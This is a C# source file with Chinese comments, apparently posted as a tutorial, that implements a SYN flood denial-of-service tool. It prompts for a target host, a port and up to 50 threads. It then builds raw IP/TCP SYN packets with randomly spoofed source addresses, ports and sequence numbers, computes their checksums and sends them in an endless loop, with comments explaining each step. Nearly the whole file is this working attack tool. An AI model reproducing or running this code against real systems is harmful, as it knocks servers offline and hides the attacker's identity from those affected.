1 //在工程属性中设置"允许不安全代码"为true 
  2 ?using System; 
  3 using System.Net; 
  4 using System.Net.Sockets; 
  5 using System.Threading; 
  6 //需要的命名空间不用解释了吧 
  7 namespace syn 
  8 { 
  9     public struct ipHeader 
 10     { 
 11         public byte ip_verlen; //4位首部长度+4位IP版本号 
 12         public byte ip_tos; //8位服务类型TOS 
 13         public ushort ip_totallength; //16位数据包总长度（字节） 
 14         public ushort ip_id; //16位标识 
 15         public ushort ip_offset; //3位标志位 
 16         public byte ip_ttl; //8位生存时间 TTL 
 17         public byte ip_protocol; //8位协议(TCP, UDP, ICMP, Etc.) 
 18         public ushort ip_checksum; //16位IP首部校验和 
 19         public uint ip_srcaddr; //32位源IP地址 
 20         public uint ip_destaddr; //32位目的IP地址 
 21     } 
 22     public struct psdHeader 
 23     { 
 24         public uint saddr; //源地址 
 25         public uint daddr; //目的地址 
 26         public byte mbz; 
 27         public byte ptcl; //协议类型 
 28         public ushort tcpl; //TCP长度 
 29     } 
 30     public struct tcpHeader 
 31     { 
 32         public ushort th_sport; //16位源端口 
 33         public ushort th_dport; //16位目的端口 
 34         public int th_seq; //32位序列号 
 35         public uint th_ack; //32位确认号 
 36         public byte th_lenres; //4位首部长度/6位保留字 
 37         public byte th_flag; //6位标志位 
 38         public ushort th_win; //16位窗口大小 
 39         public ushort th_sum; //16位校验和 
 40         public ushort th_urp; //16位紧急数据偏移量 
 41     } 
 42     //这3个是ip首部tcp伪首部tcp首部的定义。 
 43     public class syn 
 44     { 
 45         private uint ip; 
 46         private ushort port; 
 47         private EndPoint ep; 
 48         private Random rand; 
 49         private Socket sock; 
 50         private ipHeader iph; 
 51         private psdHeader psh; 
 52         private tcpHeader tch; 
 53         public UInt16 checksum(UInt16[] buffer, int size) 
 54         { 
 55             Int32 cksum = 0; 
 56             int counter; 
 57             counter = 0; 
 58 ? 
 59             while (size > 0) 
 60             { 
 61                 UInt16 val = buffer[counter]; 
 62 ? 
 63                 cksum += Convert.ToInt32(buffer[counter]); 
 64                 counter += 1; 
 65                 size -= 1; 
 66             } 
 67 ? 
 68             cksum = (cksum >> 16) + (cksum & 0xffff); 
 69             cksum += (cksum >> 16); 
 70             return (UInt16)(~cksum); 
 71         } 
 72         //这个使用来计算校验码的我照抄c#实现ping那文章的方法，反正ip协议计算校验码方法都一样 
 73         public syn(uint _ip, ushort _port, EndPoint _ep, Random _rand) 
 74         { 
 75             ip = _ip; 
 76             port = _port; 
 77             ep = _ep; 
 78             rand = _rand; 
 79             ipHeader iph = new ipHeader(); 
 80             psh = new psdHeader(); 
 81             tch = new tcpHeader(); 
 82             sock = new Socket(AddressFamily.InterNetwork, SocketType.Raw, ProtocolType.IP); 
 83             sock.SetSocketOption(SocketOptionLevel.IP, SocketOptionName.HeaderIncluded, 1); 
 84             //这2个挺重要，必须这样才可以自己提供ip头 
 85         } 
 86         //传参数的多线程需要用到代构造函数的对象。 
 87         static void Main(string[] args) 
 88         { 
 89             Console.WriteLine("1、输入攻击ip或域名"); 
 90             try 
 91             { 
 92                 IPHostEntry pe = Dns.GetHostByName(Console.ReadLine()); 
 93                 uint ip = Convert.ToUInt32(pe.AddressList[0].Address);//这是要攻击的ip并转为网络字节序 
 94                 Console.WriteLine("2、输入攻击端口"); 
 95                 ushort port = ushort.Parse(Console.ReadLine()); 
 96                 IPEndPoint ep = new IPEndPoint(pe.AddressList[0], port); 
 97                 byte[] bt = BitConverter.GetBytes(port); 
 98                 Array.Reverse(bt); 
 99                 port = BitConverter.ToUInt16(bt, 0); 
100                 //要攻击的端口也得转为网络字节序，必须是16位0－65535，如果用hosttonetworkorder就转成32位的了，无奈这样 
101                 Console.WriteLine("3、输入攻击线程，最多50个"); 
102                 int xiancheng = Int32.Parse(Console.ReadLine()); 
103                 if (xiancheng < 1 || xiancheng > 50) 
104                 { 
105                     Console.WriteLine("必须在1到50之间"); 
106                     return; 
107                 } 
108                 Random rand = new Random(); 
109                 Thread[] t = new Thread[xiancheng]; 
110                 syn[] sy = new syn[xiancheng]; 
111                 for (int i = 0; i < xiancheng; i++) 
112                 { 
113                     sy[i] = new syn(ip, port, ep, rand); 
114                     t[i] = new Thread(new ThreadStart(sy[i].synFS)); 
115                     t[i].Start(); 
116                 } 
117                 //一个线程对应一个对象，不知多个线程对应同一个对象行不行，请指点。基础不行啊 
118             } 
119             catch 
120             { 
121                 Console.WriteLine("有错误，请检查是不是连在网上，或者输入是否都正确"); 
122                 return; 
123             } 
124 ? 
125 ? 
126         } 
127         unsafe public void synFS() 
128         { 
129             iph.ip_verlen = (byte)(4 << 4 | sizeof(ipHeader) / sizeof(uint)); 
130             //ipv4，20字节ip头，这个固定就是69 
131             iph.ip_tos = 0; 
132             //这个0就行了 
133             iph.ip_totallength = 0x2800; 
134             //这个是ip头+tcp头总长，40是最小长度，不带tcp option，应该是0028但是还是网络字节序所以倒过来成了2800 
135             iph.ip_id = 0x9B18; 
136             //这个我是拦截ie发送。直接添上来了 
137             iph.ip_offset = 0x40; 
138             //这个也是拦截ie的 
139             iph.ip_ttl = 64; 
140             //也是拦截ie的，也可以是128什么的。 
141             iph.ip_protocol = 6; 
142             //6就是tcp协议 
143             iph.ip_checksum = UInt16.Parse("0"); 
144             //没计算之前都写0 
145             iph.ip_destaddr = ip; 
146             //ip头的目标地址就是要攻击的地址，上面传过来的。 
147             psh.daddr = iph.ip_destaddr; 
148             //伪tcp首部用于校验的，上面是目的地址，和ip的那个一样。 
149             psh.mbz = 0; 
150             //这个据说0就行 
151             psh.ptcl = 6; 
152             //6是tcp协议 
153             psh.tcpl = 0x1400; 
154             //tcp首部的大小，20字节，应该是0014，还是字节序原因成了1400 
155             tch.th_dport = port; 
156             //攻击端口号，上面传过来的 
157             tch.th_ack = 0; 
158             //第一次发送所以没有服务器返回的序列号，为0 
159             tch.th_lenres = (byte)((sizeof(tcpHeader) / 4 << 4 | 0)); 
160             //tcp长度 
161             tch.th_flag = 2; 
162             //2就是syn 
163             tch.th_win = ushort.Parse("16614"); 
164             //拦截ie的 
165             tch.th_sum = UInt16.Parse("0"); 
166             //没计算之前都为0 
167             tch.th_urp = UInt16.Parse("0"); 
168             //这个连ip都是0，新的攻击方法有改这个值的 
169             while (true) 
170             { 
171                 iph.ip_srcaddr = Convert.ToUInt32(IPAddress.Parse(rand.Next(1, 255) + "." + rand.Next(1, 255) + "." + rand.Next(1, 255) + "." + rand.Next(1, 255)).Address); 
172                 psh.saddr = iph.ip_srcaddr; 
173                 ushort duankou = Convert.ToUInt16(rand.Next(1, 65535)); 
174                 byte[] bt = BitConverter.GetBytes(duankou); 
175                 Array.Reverse(bt); 
176                 tch.th_sport = BitConverter.ToUInt16(bt, 0); 
177                 tch.th_seq = IPAddress.HostToNetworkOrder((int)rand.Next(-2147483646, 2147483646)); 
178                 //上面用随机种子随机产生源ip源端口和tcp序列号并转为网络字节序 
179 ? 
180 iph.ip_checksum = 0; 
181                 tch.th_sum = 0; 
182                 //因为循环中，所以每次必须把这2个已有数的清0才可计算 
183                 byte[] psh_buf = new byte[sizeof(psdHeader)]; 
184                 Int32 index = 0; 
185                 index = pshto(psh, psh_buf, sizeof(psdHeader)); 
186                 if (index == -1) 
187                 { 
188                     Console.WriteLine("构造tcp伪首部错误"); 
189                     return; 
190                 } 
191                 index = 0; 
192                 byte[] tch_buf = new byte[sizeof(tcpHeader)]; 
193                 index = tchto(tch, tch_buf, sizeof(tcpHeader)); 
194                 if (index == -1) 
195                 { 
196                     Console.WriteLine("构造tcp首部错误1"); 
197                     return; 
198                 } 
199                 index = 0; 
200                 byte[] tcphe = new byte[sizeof(psdHeader) + sizeof(tcpHeader)]; 
201                 Array.Copy(psh_buf, 0, tcphe, index, psh_buf.Length); 
202                 index += psh_buf.Length; 
203                 Array.Copy(tch_buf, 0, tcphe, index, tch_buf.Length); 
204                 index += tch_buf.Length; 
205                 tch.th_sum = chec(tcphe, index); 
206                 index = 0; 
207                 index = tchto(tch, tch_buf, sizeof(tcpHeader)); 
208                 if (index == -1) 
209                 { 
210                     Console.WriteLine("构造tcp首部错误2"); 
211                     return; 
212                 } 
213                 index = 0; 
214                 byte[] ip_buf = new byte[sizeof(ipHeader)]; 
215                 index = ipto(iph, ip_buf, sizeof(ipHeader)); 
216                 if (index == -1) 
217                 { 
218                     Console.WriteLine("构造ip首部错误1"); 
219                     return; 
220                 } 
221                 index = 0; 
222                 byte[] iptcp = new byte[sizeof(ipHeader) + sizeof(tcpHeader)]; 
223                 Array.Copy(ip_buf, 0, iptcp, index, ip_buf.Length); 
224                 index += ip_buf.Length; 
225                 Array.Copy(tch_buf, 0, iptcp, index, tch_buf.Length); 
226                 index += tch_buf.Length; 
227                 iph.ip_checksum = chec(iptcp, index); 
228                 index = 0; 
229                 index = ipto(iph, ip_buf, sizeof(tcpHeader)); 
230                 if (index == -1) 
231                 { 
232                     Console.WriteLine("构造ip首部错误2"); 
233                     return; 
234                 } 
235                 index = 0; 
236                 Array.Copy(ip_buf, 0, iptcp, index, ip_buf.Length); 
237                 index += ip_buf.Length; 
238                 Array.Copy(tch_buf, 0, iptcp, index, tch_buf.Length); 
239                 index += tch_buf.Length; 
240                 if (iptcp.Length != (sizeof(ipHeader) + sizeof(tcpHeader))) 
241                 { 
242                     Console.WriteLine("构造iptcp报文错误"); 
243                     return; 
244                 } 
245                 //上面这一大堆东西就是计算校验和的方法了，方法是 
246                 //1、建立一个字节数组，前面放tcp伪首部后面放tcp首部，然后计算，确定最终tcp部分的校验和 
247                 //2、把确定了校验和地tcp首部重新生成字节数组，这是就不加tcp伪首部了，所以工20字节 
248                 //3、建40字节字节数组，前面放ip首部，后面放tcp首部，校验，确定最终ip部分校验和 
249                 //4、最后把确定了ip校验和的ip部分和tcp部分先后放入40字节的字节数组中，就是要发送的buffer[]了，就是这么麻烦 
250                 try 
251                 { 
252 ? 
253                     sock.SendTo(iptcp, ep); 
254                     //构造发送字节数组总是麻烦，发送就简单了，socket.sendto就可以了 
255 ? 
256                 } 
257                 catch 
258                 { 
259                     Console.WriteLine("发送错误"); 
260                     return; 
261                 } 
262 ? 
263 ? 
264             } 
265 ? 
266         } 
267         public UInt16 chec(byte[] buffer, int size) 
268         { 
269             Double double_length = Convert.ToDouble(size); 
270             Double dtemp = Math.Ceiling(double_length / 2); 
271             int cksum_buffer_length = Convert.ToInt32(dtemp); 
272             UInt16[] cksum_buffer = new UInt16[cksum_buffer_length]; 
273             int icmp_header_buffer_index = 0; 
274             for (int i = 0; i < cksum_buffer_length; i++) 
275             { 
276                 cksum_buffer[i] = 
277                  BitConverter.ToUInt16(buffer, icmp_header_buffer_index); 
278                 icmp_header_buffer_index += 2; 
279             } 
280             UInt16 u_cksum = checksum(cksum_buffer, cksum_buffer_length); 
281             return u_cksum; 
282         } 
283         //这个是计算校验，把那些类型不一样的全转为16位字节数组用的 
284         public Int32 ipto(ipHeader iph, byte[] Buffer, int size) 
285         { 
286             Int32 rtn = 0; 
287             int index = 0; 
288             byte[] b_verlen = new byte[1]; 
289             b_verlen[0] = iph.ip_verlen; 
290             byte[] b_tos = new byte[1]; 
291             b_tos[0] = iph.ip_tos; 
292             byte[] b_totallen = BitConverter.GetBytes(iph.ip_totallength); 
293             byte[] b_id = BitConverter.GetBytes(iph.ip_id); 
294             byte[] b_offset = BitConverter.GetBytes(iph.ip_offset); 
295             byte[] b_ttl = new byte[1]; 
296             b_ttl[0] = iph.ip_ttl; 
297             byte[] b_protol = new byte[1]; 
298             b_protol[0] = iph.ip_protocol; 
299             byte[] b_checksum = BitConverter.GetBytes(iph.ip_checksum); 
300             byte[] b_srcaddr = BitConverter.GetBytes(iph.ip_srcaddr); 
301             byte[] b_destaddr = BitConverter.GetBytes(iph.ip_destaddr); 
302             Array.Copy(b_verlen, 0, Buffer, index, b_verlen.Length); 
303             index += b_verlen.Length; 
304             Array.Copy(b_tos, 0, Buffer, index, b_tos.Length); 
305             index += b_tos.Length; 
306             Array.Copy(b_totallen, 0, Buffer, index, b_totallen.Length); 
307             index += b_totallen.Length; 
308             Array.Copy(b_id, 0, Buffer, index, b_id.Length); 
309             index += b_id.Length; 
310             Array.Copy(b_offset, 0, Buffer, index, b_offset.Length); 
311             index += b_offset.Length; 
312             Array.Copy(b_ttl, 0, Buffer, index, b_ttl.Length); 
313             index += b_ttl.Length; 
314             Array.Copy(b_protol, 0, Buffer, index, b_protol.Length); 
315             index += b_protol.Length; 
316             Array.Copy(b_checksum, 0, Buffer, index, b_checksum.Length); 
317             index += b_checksum.Length; 
318             Array.Copy(b_srcaddr, 0, Buffer, index, b_srcaddr.Length); 
319             index += b_srcaddr.Length; 
320             Array.Copy(b_destaddr, 0, Buffer, index, b_destaddr.Length); 
321             index += b_destaddr.Length; 
322             if (index != size/* sizeof(IcmpPacket) */) 
323             { 
324                 rtn = -1; 
325                 return rtn; 
326             } 
327 ? 
328             rtn = index; 
329             return rtn; 
330 ? 
331         } 
332         //这个是把ip部分转为字节数组用的 
333         public Int32 pshto(psdHeader psh, byte[] buffer, int size) 
334         { 
335             Int32 rtn; 
336             int index = 0; 
337             byte[] b_psh_saddr = BitConverter.GetBytes(psh.saddr); 
338             byte[] b_psh_daddr = BitConverter.GetBytes(psh.daddr); 
339             byte[] b_psh_mbz = new byte[1]; 
340             b_psh_mbz[0] = psh.mbz; 
341             byte[] b_psh_ptcl = new byte[1]; 
342             b_psh_ptcl[0] = psh.ptcl; 
343             byte[] b_psh_tcpl = BitConverter.GetBytes(psh.tcpl); 
344             Array.Copy(b_psh_saddr, 0, buffer, index, b_psh_saddr.Length); 
345             index += b_psh_saddr.Length; 
346             Array.Copy(b_psh_daddr, 0, buffer, index, b_psh_daddr.Length); 
347             index += b_psh_daddr.Length; 
348             Array.Copy(b_psh_mbz, 0, buffer, index, b_psh_mbz.Length); 
349             index += b_psh_mbz.Length; 
350             Array.Copy(b_psh_ptcl, 0, buffer, index, b_psh_ptcl.Length); 
351             index += b_psh_ptcl.Length; 
352             Array.Copy(b_psh_tcpl, 0, buffer, index, b_psh_tcpl.Length); 
353             index += b_psh_tcpl.Length; 
354             if (index != size) 
355             { 
356                 rtn = -1; 
357                 return rtn; 
358             } 
359             else 
360             { 
361                 rtn = index; 
362                 return rtn; 
363             } 
364 ? 
365         } 
366         //这个是把tcp伪首部转为字节数组用的 
367         public Int32 tchto(tcpHeader tch, byte[] buffer, int size) 
368         { 
369             Int32 rtn; 
370             int index = 0; 
371             byte[] b_tch_sport = BitConverter.GetBytes(tch.th_sport); 
372             byte[] b_tch_dport = BitConverter.GetBytes(tch.th_dport); 
373             byte[] b_tch_seq = BitConverter.GetBytes(tch.th_seq); 
374             byte[] b_tch_ack = BitConverter.GetBytes(tch.th_ack); 
375             byte[] b_tch_lenres = new byte[1]; 
376             b_tch_lenres[0] = tch.th_lenres; 
377             byte[] b_tch_flag = new byte[1]; 
378             b_tch_flag[0] = tch.th_flag; 
379             byte[] b_tch_win = BitConverter.GetBytes(tch.th_win); 
380             byte[] b_tch_sum = BitConverter.GetBytes(tch.th_sum); 
381             byte[] b_tch_urp = BitConverter.GetBytes(tch.th_urp); 
382             Array.Copy(b_tch_sport, 0, buffer, index, b_tch_sport.Length); 
383             index += b_tch_sport.Length; 
384             Array.Copy(b_tch_dport, 0, buffer, index, b_tch_dport.Length); 
385             index += b_tch_dport.Length; 
386             Array.Copy(b_tch_seq, 0, buffer, index, b_tch_seq.Length); 
387             index += b_tch_seq.Length; 
388             Array.Copy(b_tch_ack, 0, buffer, index, b_tch_ack.Length); 
389             index += b_tch_ack.Length; 
390             Array.Copy(b_tch_lenres, 0, buffer, index, b_tch_lenres.Length); 
391             index += b_tch_lenres.Length; 
392             Array.Copy(b_tch_flag, 0, buffer, index, b_tch_flag.Length); 
393             index += b_tch_flag.Length; 
394             Array.Copy(b_tch_win, 0, buffer, index, b_tch_win.Length); 
395             index += b_tch_win.Length; 
396             Array.Copy(b_tch_sum, 0, buffer, index, b_tch_sum.Length); 
397             index += b_tch_sum.Length; 
398             Array.Copy(b_tch_urp, 0, buffer, index, b_tch_urp.Length); 
399             index += b_tch_urp.Length; 
400             if (index != size) 
401             { 
402                 rtn = -1; 
403                 return rtn; 
404             } 
405             else 
406             { 
407                 rtn = index; 
408                 return rtn; 
409             } 
410         } 
411         //这个是把tcp部分转为字节数组用的，因为这个要用到2次就不把这个和伪首部放一块了。 
412     } 
413 }